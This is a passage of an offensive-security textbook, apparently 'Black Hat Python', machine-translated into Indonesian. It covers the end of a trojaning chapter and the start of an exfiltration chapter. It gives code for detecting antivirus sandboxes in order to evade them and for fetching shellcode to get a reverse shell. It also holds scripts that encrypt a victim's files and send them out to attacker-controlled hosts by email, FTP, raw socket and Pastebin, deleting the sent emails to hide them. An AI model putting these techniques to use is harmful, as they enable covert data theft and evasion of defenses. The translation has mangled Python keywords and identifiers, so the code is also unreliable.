webnya. Setiap permintaan HTTP untuk file pada port 8100 akan dilayani secara otomatis untuk
Anda. Sekarang letakkan skrip shell_exec.py Anda di kotak Windows Anda dan jalankan. Anda
akan melihat yang berikut ini di terminal Linux Anda:

192.168.112.130 - - [12/Jan/2014 21:36:30] "DAPATKAN /shellcode.bin HTTP/1.1" 200 -

Ini menunjukkan bahwa skrip Anda telah mengambil kode shell dari server web yang Anda
siapkan menggunakan modul http.server . Jika semuanya berjalan dengan baik, Anda akan
menerima shell kembali ke kerangka kerja Anda dan akan memunculkan calc.exe, mendapatkan
shell TCP terbalik, menampilkan kotak pesan, atau untuk apa pun kode shell Anda dikompilasi.

3. Karena CANVAS adalah alat komersial, lihat tutorial ini untuk menghasilkan muatan Metasploit
di sini: http:// www.offensive-security.com/ metasploit-unleashed/ Generating_Payloads.

134 Bab 8
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Deteksi Kotak Pasir


Semakin banyak solusi antivirus yang menggunakan beberapa bentuk sandboxing untuk menentukan
perilaku spesimen yang mencurigakan. Terlepas dari apakah kotak pasir ini berjalan pada perimeter
jaringan, yang menjadi lebih populer, atau pada mesin target itu sendiri, kita harus melakukan yang
terbaik untuk menghindari pertahanan apa pun yang ada pada jaringan target.

Kita dapat menggunakan beberapa indikator untuk mencoba menentukan apakah trojan kita
dijalankan di dalam sandbox. Kami akan memantau mesin target kami untuk masukan pengguna
terkini. Lalu kita akan menambahkan beberapa kecerdasan dasar untuk mencari penekanan
tombol, klik mouse, dan klik dua kali. Mesin pada umumnya memiliki banyak interaksi pengguna
pada hari boot, sedangkan lingkungan sandbox biasanya tidak memiliki interaksi pengguna, karena
sandbox biasanya digunakan sebagai teknik analisis malware otomatis. Skrip kami juga akan
mencoba menentukan apakah operator sandbox mengirimkan input berulang kali (misalnya, klik
mouse terus menerus yang mencurigakan dan cepat) untuk mencoba merespons metode deteksi
sandbox yang belum sempurna. Terakhir, kita akan membandingkan waktu terakhir pengguna
berinteraksi dengan mesin versus berapa lama mesin telah berjalan, yang akan memberi kita
gambaran bagus apakah kita berada di dalam sandbox atau tidak.

Kami kemudian dapat menentukan apakah kami ingin melanjutkan eksekusi. Mari mulai
mengerjakan beberapa kode deteksi kotak pasir. Buka sandbox_detect.py dan masukkan kode berikut:

dari ctypes impor byref, c_uint, c_ulong, sizeof, Structure, windll


impor acak
sistem impor
waktu impor
impor win32api

kelas LASTINPUTINFO(Struktur):
bidang_ = [
('Ukuran cb', c_uint),
('Waktu dw', c_ulong)
]

def get_last_input():
struct_lastinputinfo = TERAKHIR PUTINFO()
1 struct_lastinputinfo.cbSize = ukuran(LASTINPUTINFO)
windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
2 run_time = windll.kernel32.GetTickCount()
berlalu = run_time - struct_lastinputinfo.dwTime
print(f"[*] Sudah {berlalu} milidetik sejak kejadian terakhir.")
pengembalian telah berlalu

3 sementara Benar:
dapatkan_masukan_terakhir()

waktu.tidur(1)

Kami menentukan impor yang diperlukan dan membuat struktur LASTINPUTINFO yang akan
menyimpan stempel waktu, dalam milidetik, saat peristiwa masukan terakhir terjadi.

Tugas Umum Trojaning di Windows 135


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

terdeteksi pada sistem. Selanjutnya, kita membuat fungsi, get_last_input, untuk menentukan waktu input
terakhir. Perhatikan bahwa Anda harus menginisialisasi cbSize 1
variabel dengan ukuran struktur sebelum melakukan panggilan. Kami kemudian memanggil fungsi
GetLastInputInfo , yang mengisi struct_lastinputinfo.dwTime
bidang dengan stempel waktu. Langkah selanjutnya adalah menentukan berapa lama sistem telah berjalan
dengan menggunakan pemanggilan fungsi GetTickCount 2. Waktu yang berlalu adalah jumlah waktu mesin
telah berjalan dikurangi waktu input terakhir. Cuplikan kecil terakhir dari kode 3 adalah kode pengujian
sederhana yang memungkinkan Anda menjalankan skrip lalu menggerakkan mouse, atau menekan
tombol pada keyboard, dan melihat potongan kode baru ini beraksi.

Perlu dicatat bahwa total waktu berjalan sistem dan kejadian input pengguna yang terakhir terdeteksi
dapat bervariasi tergantung pada metode implantasi khusus Anda. Misalnya, jika Anda menanamkan
payload Anda menggunakan taktik phishing, kemungkinan besar pengguna harus mengeklik tautan atau
melakukan operasi lain agar bisa terinfeksi. Artinya, dalam satu atau dua menit terakhir, Anda akan melihat
masukan pengguna. Namun jika Anda melihat mesin telah berjalan selama 10 menit dan masukan terakhir
yang terdeteksi adalah 10 menit yang lalu, kemungkinan besar Anda berada di dalam kotak pasir yang
belum memproses masukan pengguna apa pun. Keputusan penilaian ini adalah bagian dari trojan yang baik
dan bekerja secara konsisten.

Anda dapat menggunakan teknik yang sama saat melakukan polling pada sistem untuk melihat apakah
atau tidak, pengguna sedang menganggur, karena Anda mungkin hanya ingin mulai mengambil
tangkapan layar saat mereka aktif menggunakan mesin. Demikian pula, Anda mungkin hanya ingin
mengirimkan data atau melakukan tugas lain saat pengguna tampak offline. Anda juga dapat, misalnya,
melacak pengguna dari waktu ke waktu untuk menentukan hari dan jam berapa mereka biasanya online.

Dengan mengingat hal ini, mari kita tentukan tiga ambang batas berapa banyak nilai masukan
pengguna yang harus kita deteksi sebelum memutuskan bahwa kita tidak lagi berada di kotak pasir.
Hapus tiga baris terakhir kode pengujian dan tambahkan beberapa kode tambahan untuk melihat
penekanan tombol dan klik mouse. Kami akan menggunakan solusi ctypes murni kali ini, sebagai
lawan dari metode PyWinHook. Anda juga dapat dengan mudah menggunakan PyWinHook untuk tujuan
ini, tetapi memiliki beberapa trik berbeda di kotak peralatan Anda selalu membantu, karena setiap
teknologi antivirus dan sandbox memiliki caranya sendiri untuk mengenali trik ini. Mari kita coding:

Detektor kelas:
def __init__(diri):
self.double_clicks = 0
self.penekanan tombol = 0
self.mouse_clicks = 0

def get_key_press(diri):
1 untuk i dalam rentang (0, 0xff):
2 status = win32api.GetAsyncKeyState(i)
jika status & 0x0001:
3 jika saya == 0x1:
mandiri.mouse_klik += 1
waktu kembali.waktu()
4 elif i > 32 dan i < 127:
self.penekanan tombol += 1
kembali Tidak ada

136 Bab 8
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kami membuat kelas Detektor dan menginisialisasi klik dan penekanan tombol ke nol.
Metode get_key_press memberi tahu kita jumlah klik mouse, waktu klik mouse, dan
berapa banyak penekanan tombol yang dilakukan target. Ini bekerja dengan mengulangi
rentang kunci input 1 yang valid; untuk setiap tombol, kami memeriksa apakah telah
ditekan menggunakan panggilan fungsi GetAsyncKeyState 2. Jika status kunci menunjukkan
bahwa ia ditekan (status & 0x0001 benar), kami memeriksa apakah nilainya adalah 0x1 3,
yang merupakan kode kunci virtual untuk klik tombol kiri mouse. Kami menambah jumlah
total klik mouse dan mengembalikan stempel waktu saat ini sehingga kami dapat
melakukan perhitungan waktu di kemudian hari. Kami juga memeriksa apakah ada
penekanan tombol ASCII pada keyboard 4 dan, jika demikian, cukup tambahkan jumlah
penekanan tombol yang terdeteksi. Sekarang mari kita gabungkan hasil dari fungsi ini
ke dalam loop deteksi sandbox utama kita. Tambahkan metode berikut ke
sandbox_detect.py:

def deteksi (diri):


stempel waktu_sebelumnya = Tidak ada
first_double_click = Tidak ada
ambang_klik_ganda = 0,35

1 max_double_clicks = 10
max_keystrokes = acak.randint(10,25)
max_mouse_clicks = acak.randint(5,25)
max_input_threshold = 30000

2 masukan_terakhir = dapatkan_input_terakhir()
jika input_terakhir >= ambang_input_maks:
sys.keluar(0)

deteksi_lengkap = Salah
sementara tidak deteksi_lengkap:
3 waktu_tekan tombol = self.get_key_press()
jika keypress_time bukan None dan previous_timestamp bukan None:
4 berlalu = waktu_tekan tombol - stempel waktu_sebelumnya

5 jika berlalu <= double_click_threshold:


mandiri.mouse_klik -= 2
mandiri.klik_ganda += 1
jika first_double_click tidak ada:
first_double_click = waktu.waktu()
kalau tidak:

6 jika self.double_clicks >= max_double_clicks:


7 jika (waktu_tekan tombol - klik_ganda_pertama <=
(maks_klik_ganda*ambang_klik_ganda)):
sys.keluar(0)
8 if (self.keystrokes >= max_keystrokes dan
self.double_clicks >= max_double_clicks dan
self.mouse_clicks >= max_mouse_clicks):
deteksi_lengkap = Benar

stempel waktu_sebelumnya = waktu_tekanan tombol


elif keypress_time bukan Tidak Ada:
stempel waktu_sebelumnya = waktu_tekanan tombol

Tugas Umum Trojaning di Windows 137


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

jika __nama__ == '__utama__':


d = Detektor()
d.deteksi()
mencetak('oke.')

Baiklah. Perhatikan lekukan pada blok kode ini! Kita mulai dengan mendefinisikan beberapa variabel
1 untuk melacak waktu klik mouse dan tiga ambang batas yang berkaitan dengan berapa banyak penekanan
tombol, klik mouse, atau klik dua kali yang kita sukai sebelum menganggap diri kita berjalan di luar kotak
pasir. Kami mengacak ambang batas ini pada setiap proses, namun tentu saja Anda dapat menetapkan
ambang batas Anda sendiri berdasarkan pengujian Anda sendiri.

Kami kemudian mengambil waktu yang telah berlalu 2 sejak beberapa bentuk masukan pengguna
telah didaftarkan pada sistem, dan jika kami merasa sudah terlalu lama sejak kami melihat masukan
tersebut (berdasarkan bagaimana infeksi terjadi, seperti disebutkan sebelumnya ), kita melakukan
penyelamatan dan trojan mati. Alih-alih mati di sini, trojan Anda bisa melakukan beberapa aktivitas
berbahaya seperti membaca kunci registri acak atau memeriksa file. Setelah kita melewati pemeriksaan
awal ini, kita beralih ke loop penekanan tombol utama dan deteksi klik mouse.

Pertama-tama kita memeriksa penekanan tombol atau klik mouse 3, mengetahui bahwa jika
fungsi mengembalikan nilai, itu adalah stempel waktu saat penekanan tombol atau klik mouse terjadi.
Selanjutnya, kita menghitung waktu yang berlalu antara klik mouse4
lalu bandingkan dengan ambang batas 5 kami untuk menentukan apakah itu adalah klik dua kali.
Bersamaan dengan deteksi klik dua kali, kami ingin mengetahui apakah operator sandbox telah
mengalirkan peristiwa klik 6 ke dalam sandbox untuk mencoba memalsukan teknik deteksi sandbox.
Misalnya, akan terasa aneh melihat 100 klik dua kali berturut-turut selama penggunaan komputer
pada umumnya.
Jika jumlah maksimum klik ganda telah tercapai dan terjadi secara berurutan 7, kami melakukan
bail out. Langkah terakhir kita adalah melihat apakah kita telah berhasil melewati semua pemeriksaan
dan mencapai jumlah maksimum klik, penekanan tombol, dan klik dua kali 8; jika demikian, kami
keluar dari fungsi deteksi kotak pasir kami.

Kami mendorong Anda untuk mengubah dan bermain-main dengan pengaturan serta menambahkan
fitur tambahan, seperti deteksi mesin virtual. Mungkin ada baiknya untuk melacak penggunaan umum
dalam hal klik mouse, klik dua kali, dan penekanan tombol di beberapa komputer yang Anda miliki
(yang kami maksud adalah komputer yang benar-benar Anda miliki—bukan komputer yang pernah Anda
retas!) untuk mengetahui perasaan Anda. tempat bahagianya adalah. Tergantung pada target Anda,
Anda mungkin menginginkan pengaturan yang lebih paranoid, atau Anda mungkin tidak peduli dengan
deteksi sandbox sama sekali.
Menggunakan alat yang Anda kembangkan dalam bab ini dapat bertindak sebagai lapisan dasar fitur
untuk diluncurkan di trojan Anda, dan karena modularitas kerangka kerja trojan kami, Anda dapat memilih
untuk menerapkan salah satu dari fitur tersebut.

138 Bab 8
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

9
MENYENANGKAN DENGAN EXFILTR ATION

Mendapatkan akses ke jaringan target hanyalah


sebagian dari perjuangan. Untuk memanfaatkan
akses Anda, Anda ingin dapat mengekstraksi
dokumen, spreadsheet, atau potongan data lainnya dari
sistem target. Bergantung pada mekanisme pertahanan yang ada,
bagian terakhir dari serangan Anda ini bisa jadi rumit. Mungkin ada
sistem lokal atau jarak jauh (atau kombinasi keduanya) yang bekerja
untuk memvalidasi proses yang membuka koneksi jarak jauh serta
menentukan apakah proses tersebut harus dapat mengirim informasi
atau memulai koneksi di luar

jaringan internal.
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Dalam bab ini, kami akan membuat alat yang memungkinkan Anda mengekstrak data
terenkripsi. Pertama, kita akan menulis skrip untuk mengenkripsi dan mendekripsi file. Kami
kemudian akan menggunakan skrip tersebut untuk mengenkripsi informasi dan mentransfernya
dari sistem menggunakan tiga metode: email, transfer file, dan posting ke server web. Untuk
masing-masing metode ini, kami akan menulis alat yang tidak bergantung pada platform dan
alat khusus Windows.
Untuk fungsi khusus Windows, kami akan mengandalkan perpustakaan PyWin32
kami gunakan di Bab 8, terutama paket win32com . Otomatisasi Windows COM (Component
Object Model) melayani sejumlah kegunaan praktis—mulai dari berinteraksi dengan layanan
berbasis jaringan hingga menyematkan spreadsheet Microsoft Excel ke dalam aplikasi Anda
sendiri. Semua versi Windows, dimulai dengan XP, memungkinkan Anda menyematkan objek
COM Internet Explorer ke dalam aplikasi, dan kita akan memanfaatkan kemampuan ini dalam bab
ini.

Mengenkripsi dan Mendekripsi File


Kami akan menggunakan paket PyCryptoDomeX untuk tugas enkripsi. Anda dapat menginstalnya
dengan perintah ini:

pip instal pycryptodomex

Sekarang, buka cryptor.py dan mari impor perpustakaan yang kita perlukan untuk memulai:

1 dari Cryptodome.Cipher impor AES, PKCS1_OAEP


2 dari Cryptodome.PublicKey mengimpor RSA
dari Cryptodome. Impor acak get_random_bytes
dari io impor BytesIO

impor base64
impor zlib

Kami akan membuat proses enkripsi hibrid, menggunakan enkripsi simetris dan asimetris untuk
mendapatkan yang terbaik dari kedua dunia. Sandi AES adalah contoh enkripsi simetris 1: disebut
simetris karena menggunakan satu kunci untuk enkripsi dan dekripsi. Ini sangat cepat, dan dapat
menangani teks dalam jumlah besar. Itulah metode enkripsi yang akan kita gunakan untuk
mengenkripsi informasi yang ingin kita eksfiltrasi. Kami juga mengimpor cipher RSA 2 asimetris ,
yang menggunakan teknik kunci publik/kunci pribadi. Ia bergantung pada satu kunci untuk
enkripsi (biasanya kunci publik) dan kunci lainnya untuk dekripsi (biasanya kunci privat). Kami akan
menggunakan sandi ini untuk mengenkripsi kunci tunggal yang digunakan dalam enkripsi AES.
Enkripsi asimetris cocok untuk informasi berukuran kecil, sehingga sempurna untuk mengenkripsi
kunci AES. Metode penggunaan kedua jenis enkripsi ini disebut sistem hibrid, dan ini sangat
umum. Misalnya, komunikasi TLS antara browser Anda dan server web melibatkan sistem hibrid.

140 Bab 9
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sebelum kita dapat mulai mengenkripsi atau mendekripsi, kita perlu membuat kunci publik
dan privat untuk enkripsi RSA asimetris. Artinya, kita perlu membuat fungsi pembangkitan kunci
RSA. Mari kita mulai dengan menambahkan fungsi generate ke cryptor.py:

def menghasilkan():
kunci_baru = RSA.hasilkan(2048)
private_key = kunci_baru.exportKey()
public_key = new_key.publickey().exportKey()

dengan open('key.pri', 'wb') sebagai f:


f.tulis(kunci_pribadi)

dengan open('key.pub', 'wb') sebagai f:


f.tulis(kunci_publik)

Itu benar—Python sangat keren sehingga kita bisa melakukan ini hanya dengan beberapa
baris kode. Blok kode ini menghasilkan pasangan kunci pribadi dan publik dalam file bernama
key.pri dan key.pub. Sekarang mari kita buat fungsi pembantu kecil sehingga kita bisa
mengambil kunci publik atau privat:

def get_rsa_cipher(tipe kunci):


dengan open(f'key.{keytype}') sebagai f:
kunci = f.baca()
rsakey = RSA.importKey(kunci)
kembali (PKCS1_OAEP.baru(rsakey), rsakey.size_in_bytes())

Kami meneruskan fungsi ini dengan jenis kunci (pub atau pri), baca yang sesuai
file, dan mengembalikan objek sandi dan ukuran kunci RSA dalam byte.
Sekarang kita telah membuat dua kunci dan memiliki fungsi untuk mengembalikan sebuah
Sandi RSA dari kunci yang dihasilkan, mari kita mulai mengenkripsi data:

def mengenkripsi (teks biasa):


1 teks_terkompresi = zlib.kompres(teks biasa)

2 kunci_sesi = get_random_bytes(16)
cipher_aes = AES.baru(kunci_sesi, AES.MODE_EAX)
3 teks sandi, tag = cipher_aes.encrypt_and_digest(teks_terkompresi)

cipher_rsa, _ 4 = get_rsa_cipher('pub')
enkripsi_session_key = cipher_rsa.encrypt(session_key)

5 msg_payload = kunci_sesi terenkripsi + cipher_aes.nonce + tag + teks sandi


6 terenkripsi = base64.encodebytes(msg_payload)
kembali (dienkripsi)

Kami meneruskan teks biasa sebagai byte dan mengompresnya 1. Kami kemudian
membuat kunci sesi acak untuk digunakan dalam sandi AES 2 dan mengenkripsi teks biasa
yang dikompresi menggunakan sandi 3 tersebut. Sekarang informasinya telah dienkripsi, kita
perlu meneruskannya kunci sesi sebagai bagian dari payload yang dikembalikan, bersama
dengan ciphertext itu sendiri, sehingga dapat didekripsi di sisi lain. Untuk menambahkan

Bersenang-senang dengan Eksfiltrasi 141


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

kunci sesi, kami mengenkripsinya dengan kunci RSA yang dihasilkan dari kunci publik 4 yang dihasilkan.
Kami memasukkan semua informasi yang kami perlukan untuk mendekripsi ke dalam satu muatan
berbayar 5, menyandikannya dengan base64, dan mengembalikan string terenkripsi yang dihasilkan 6.
Sekarang mari kita isi fungsi dekripsi :

def dekripsi (dienkripsi):


1 enkripsi_bytes = BytesIO(base64.decodebytes(terenkripsi))
cipher_rsa, ukuran kunci_in_bytes = get_rsa_cipher('pri')

2 enkripsi_session_key = enkripsi_bytes.baca(ukuran_kunci_in_bytes)
nonce = terenkripsi_bytes.baca(16)
tag = terenkripsi_bytes.baca(16)
teks sandi = terenkripsi_bytes.baca()

3 session_key = cipher_rsa.decrypt(encrypted_session_key)
cipher_aes = AES.baru(session_key, AES.MODE_EAX, nonce)
4 didekripsi = cipher_aes.decrypt_and_verify(teks sandi, tag)

5 teks biasa = zlib.dekompresi (didekripsi)


mengembalikan teks biasa

Untuk mendekripsi, kami membalik langkah dari fungsi enkripsi . Pertama, kita mendekode
string base64 menjadi byte 1. Kemudian kita membaca kunci sesi terenkripsi, bersama dengan
parameter lain yang perlu kita dekripsi, dari string byte terenkripsi 2. Kita mendekripsi kunci sesi
menggunakan kunci privat RSA 3 dan gunakan kunci itu untuk mendekripsi pesan itu sendiri dengan
sandi AES 4.
Terakhir, kami mendekompresinya menjadi string byte teks biasa 5 dan mengembalikannya.
Selanjutnya, blok utama ini memudahkan untuk menguji fungsi:

jika __nama__ == '__utama__':


1 menghasilkan()

Dalam satu langkah, kita menghasilkan kunci publik dan pribadi 1. Kita hanya memanggil
fungsi generate karena kita harus membuat kunci sebelum kita dapat menggunakannya. Sekarang
kita dapat mengedit blok utama untuk menggunakan tombol:

jika __nama__ == '__utama__':


teks biasa = b'hai, ini dia.'
1 cetak(dekripsi(enkripsi(teks biasa)))

Setelah kunci dibuat, kami mengenkripsi dan mendekripsi byte kecil


string lalu cetak hasilnya 1.

Eksfiltrasi Email
Sekarang kita dapat dengan mudah mengenkripsi dan mendekripsi informasi, mari tulis beberapa
metode untuk mengekstrak informasi yang telah kita enkripsi. Buka email_
exfil.py, yang akan kami gunakan untuk mengirimkan informasi terenkripsi melalui email:

1 impor smtplib
waktu impor

142 Bab 9
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

2 impor win32com.client

3 smtp_server = 'smtp.example.com'
smtp_port = 587
smtp_acct = '[email protected]'
smtp_password = 'seKret'
tgt_accts = ['[email protected]']

Pertama, kita mengimpor smptlib, yang kita perlukan untuk fungsi email lintas
platform 1. Kita akan menggunakan paket win32com untuk menulis fungsi khusus
Windows 2. Untuk menggunakan klien email SMTP, kita perlu terhubung ke Simple
Mail Transfer Server protokol (SMTP) (contohnya mungkin smtp.gmail.com
jika Anda mempunyai akun Gmail), jadi kita tentukan nama server, port yang menerima
koneksi, nama akun, dan kata sandi akun 3. Selanjutnya, mari kita tulis fungsi platform-
independen kami plain_email:

def plain_email(subjek, isi):


1 pesan = f'Subjek: {subjek}\nDari {smtp_acct}\n'
pesan += f'Ke: {tgt_accts}\n\n{contents.decode()}'
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
2 server.login(smtp_acct, smtp_password)

#server.set_debuglevel(1)
3 server.sendmail(smtp_acct, tgt_accts, pesan)
waktu.tidur(1)
server.keluar()

Fungsi ini mengambil subjek dan konten sebagai masukan dan kemudian
membentuk pesan 1 yang menggabungkan data server SMTP dan konten pesan.
Subjeknya adalah nama file yang berisi konten di mesin korban . Isinya akan
berupa string terenkripsi yang dikembalikan dari fungsi enkripsi . Untuk menambah
kerahasiaan, Anda dapat mengirimkan string terenkripsi sebagai subjek pesan.

Selanjutnya, kita terhubung ke server dan login dengan nama akun dan kata
sandi 2. Kemudian kita memanggil metode sendmail dengan informasi akun kita,
serta akun target untuk mengirim email, dan, terakhir, pesan itu sendiri 3. Jika
Anda memiliki masalah dengan fungsi tersebut, Anda dapat mengatur atribut
debuglevel sehingga Anda dapat melihat koneksi di konsol Anda.
Sekarang mari kita tulis fungsi khusus Windows untuk melakukan teknik
yang sama:

1 def pandangan (subjek, isi):


2 pandangan = win32com.client.Dispatch("Outlook.Aplikasi")
pesan = pandangan.CreateItem(0)
3 pesan.DeleteAfterSubmit = Benar
pesan.Subjek = subjek
pesan.Body = isi.decode()
pesan.Ke = tgt_accts[0]
4 pesan.Kirim()

Bersenang-senang dengan Eksfiltrasi 143


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Fungsi Outlook mengambil argumen yang sama dengan plain_email


fungsi: subjek dan isi 1. Kami menggunakan paket win32com untuk membuat instance
aplikasi Outlook 2, memastikan bahwa pesan email segera dihapus setelah dikirimkan 3.
Ini memastikan bahwa pengguna di mesin yang disusupi tidak akan melihat email eksfiltrasi
di folder Pesan Terkirim dan Pesan Terhapus. Selanjutnya, kita mengisi subjek pesan, isi,
dan alamat email target, dan mengirim email tersebut4.

Di blok utama, kita memanggil fungsi plain_email untuk menyelesaikan short


uji fungsionalitas:

jika __nama__ == '__utama__':


plain_email('pesan test2', 'serangan saat fajar.')

Setelah Anda menggunakan fungsi ini untuk mengirim file terenkripsi ke penyerang Anda
mesin, Anda akan membuka klien email Anda, memilih pesan, dan menyalin dan
menempelkannya ke file baru untuk mendekripsinya. Anda kemudian dapat membaca file
itu untuk mendekripsinya menggunakan fungsi dekripsi di cryptor.py.

Eksfiltrasi Transfer File


Buka file baru, transmit_exfil.py, yang akan kami gunakan untuk mengirimkan informasi
terenkripsi kami melalui transfer file:

impor ftplib
impor mereka
soket impor
impor file win32

1 def plain_ftp(docpath, server='192.168.1.203'):


ftp = ftplib.FTP(server)
2 ftp.login("anonim", "[email protected]")
3 ftp.cwd('/pub/')
4 ftp.storbinary("STOR " + os.path.nama dasar(docpath),
buka(docpath, "rb"), 1024)
ftp.keluar()

Kami mengimpor ftplib, yang akan kami gunakan untuk fungsi platform-independen,
dan win32file, untuk fungsi khusus Windows.
Kami sebagai penulis menyiapkan mesin penyerang Kali kami untuk mengaktifkan
server FTP dan menerima unggahan file anonim. Dalam fungsi plain_ftp , kita meneruskan
jalur ke file yang ingin kita transfer (docpath) dan alamat IP server FTP (mesin Kali), yang
ditetapkan ke variabel server 1.
Menggunakan ftplib Python memudahkan untuk membuat koneksi ke server,
login 2, dan navigasikan ke direktori target 3. Terakhir, kita menulis file ke direktori target 4.

144 Bab 9
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Untuk membuat versi khusus Windows, tulis fungsi transmisi ,


yang mengambil path ke file yang ingin kita transfer (document_path):

def transmisi(jalur_dokumen):
klien = soket.socket()
1 klien.koneksi(('192.168.1.207', 10000))
dengan open(document_path, 'rb') sebagai f:
2 win32file.TransmitFile(
klien,
win32file._get_osfhandle(f.fileno()),
0, 0, Tidak ada, 0, b'', b'')

Sama seperti yang kita lakukan di Bab 2, kita membuka soket ke pendengar di
mesin penyerang menggunakan port pilihan kita; di sini, kami menggunakan port 10000 1.
Kemudian kita gunakan fungsi win32file.TransmitFile untuk mentransfer file 2.
Blok utama menyediakan tes sederhana dengan mengirimkan file (mysecrets.txt
dalam hal ini) ke mesin pendengar:

jika __nama__ == '__utama__':


transmisi('./rahasiaku.txt')

Setelah kami menerima file terenkripsi, kami dapat membaca file tersebut untuk
mendekripsinya.

Eksfiltrasi melalui Server Web


Selanjutnya, kita akan menulis file baru, paste_exfil.py, untuk mengirimkan informasi
terenkripsi dengan memposting ke server web. Kami akan mengotomatiskan proses
pengeposan dokumen terenkripsi ke akun di https:// pastebin.com/. Ini akan memungkinkan
kita untuk mematikan dokumen dan mengambilnya kapan pun kita mau tanpa ada orang
lain yang bisa mendekripsinya. Dengan menggunakan situs terkenal seperti Pastebin,
kita juga harus dapat melewati daftar hitam apa pun yang mungkin dimiliki oleh firewall atau
proxy, yang mungkin menghalangi kita untuk hanya mengirim dokumen ke alamat IP atau
server web yang kita kendalikan. Mari kita mulai dengan memasukkan beberapa fungsi
pendukung ke dalam skrip eksfiltrasi kita. Buka paste_exfil.py dan masukkan kode berikut:

1 dari klien impor win32com

impor mereka
impor acak
2 permintaan impor
waktu impor

3 nama pengguna = 'tim'


kata sandi = 'seKret'
api_dev_key = 'cd3xxx001xxxx02'

Bersenang-senang dengan Eksfiltrasi 145


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kami mengimpor permintaan untuk menangani fungsi 2 yang tidak bergantung pada
platform, dan kami akan menggunakan kelas klien win32com untuk fungsi khusus Windows 1.
Kami akan mengautentikasi ke https:// pastebin.com/ server web dan unggah string
terenkripsi. Untuk mengautentikasi, kami menentukan nama pengguna dan kata sandi
serta api_dev_key 3.
Sekarang kita sudah menentukan impor dan pengaturannya, mari kita tulis
fungsi platform-independen plain_paste:

1 def plain_paste(judul, isi):


login_url = 'https://pastebin.com/api/api_login.php'
2 data_login = {
'api_dev_key': api_dev_key,
'api_user_name': nama pengguna,
'api_user_password': kata sandi,
}
r = permintaan.post(login_url, data=login_data)
3 api_user_key = r.teks

4 paste_url = 'https://pastebin.com/api/api_post.php'
tempel_data = {
'api_paste_name': judul,
'api_paste_code': isi.decode(),
'api_dev_key': api_dev_key,
'api_user_key': api_user_key,
'api_option': 'tempel',
'api_paste_pribadi': 0,
}
5 r = permintaan.posting(paste_url, data=paste_data)
cetak(r.status_code)
cetak(r.teks)

Seperti fungsi email sebelumnya, fungsi plain_paste menerima nama file untuk
judul dan konten terenkripsi sebagai argumen 1. Anda perlu membuat dua permintaan
untuk membuat tempel dengan nama pengguna Anda sendiri. Pertama, buat
postingan ke API login , tentukan nama pengguna Anda, api_dev_
kunci, dan kata sandi 2. Respon dari postingan itu adalah api_user_key Anda. Sedikit data
itulah yang Anda perlukan untuk membuat tempel dengan nama pengguna Anda sendiri 3.
Permintaan kedua adalah ke postingan API 4. Kirimkan nama paste Anda (nama file adalah
judul kami) dan isinya, bersama dengan pengguna dan kunci API dev Anda 5. Ketika fungsi
selesai, Anda harus bisa login ke akun Anda di https:// pastebin.com/ dan lihat konten
terenkripsi Anda. Anda dapat mengunduh tempel dari dasbor Anda untuk mendekripsi.

Selanjutnya, kami akan menulis teknik khusus Windows untuk melakukan tempel
menggunakan Internet Explorer. Internet Explorer, katamu? Meskipun browser lain, seperti
Google Chrome, Microsoft Edge, dan Mozilla Firefox lebih populer saat ini, banyak
lingkungan perusahaan masih menggunakan Internet Explorer sebagai browser default
mereka. Dan tentu saja, pada banyak versi Windows, Anda tidak dapat menghapus Internet
Explorer dari sistem Windows—jadi teknik ini hampir selalu tersedia untuk trojan Windows
Anda.
Mari kita lihat bagaimana kita dapat memanfaatkan Internet Explorer untuk membantu menyaring informasi.
koneksi dari jaringan target. Seorang rekan peneliti keamanan Kanada,

146 Bab 9
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Karim Nathoo, menunjukkan bahwa otomatisasi COM Internet Explorer memiliki


manfaat luar biasa dalam menggunakan proses Iexplore.exe , yang biasanya
dipercaya dan masuk daftar putih, untuk mengekstrak informasi keluar dari jaringan.
Mari kita mulai dengan menulis beberapa fungsi pembantu:

1 def tunggu_untuk_browser(peramban):
sementara browser.ReadyState != 4 dan browser.ReadyState != 'selesai':
waktu.tidur(0,1)

2 def acak_tidur():
waktu.tidur(acak.randint(5,10))

Fungsi pertama, wait_for_browser, memastikan bahwa browser telah


menyelesaikan acaranya 1, sedangkan fungsi kedua, random_sleep 2, membuat
browser bertindak agak acak sehingga tidak terlihat seperti perilaku terprogram. Ia
tidur untuk jangka waktu yang acak; ini dirancang untuk memungkinkan browser
menjalankan tugas yang mungkin tidak mencatat peristiwa dengan Model Objek
Dokumen (DOM) sebagai sinyal bahwa tugas tersebut telah selesai. Itu juga
membuat browser tampak lebih manusiawi.
Sekarang kita memiliki fungsi pembantu ini, mari tambahkan logika untuk
menangani proses masuk dan menavigasi dasbor Pastebin. Sayangnya, tidak ada
cara yang cepat dan mudah untuk menemukan elemen UI di web (penulis hanya
menghabiskan 30 menit menggunakan Firefox dan alat pengembangnya untuk
memeriksa setiap elemen HTML yang perlu kami gunakan untuk berinteraksi). Jika
Anda ingin menggunakan layanan lain, Anda juga harus mengetahui waktu yang
tepat, interaksi DOM, dan elemen HTML yang diperlukan—untungnya, Python membuat
proses otomatisasi menjadi sangat mudah. Mari tambahkan beberapa kode lagi:

def login (yaitu):


1 full_doc = yaitu.Dokumen.semua
untuk elemen di full_doc:
2 jika elem.id == 'loginform-nama pengguna':
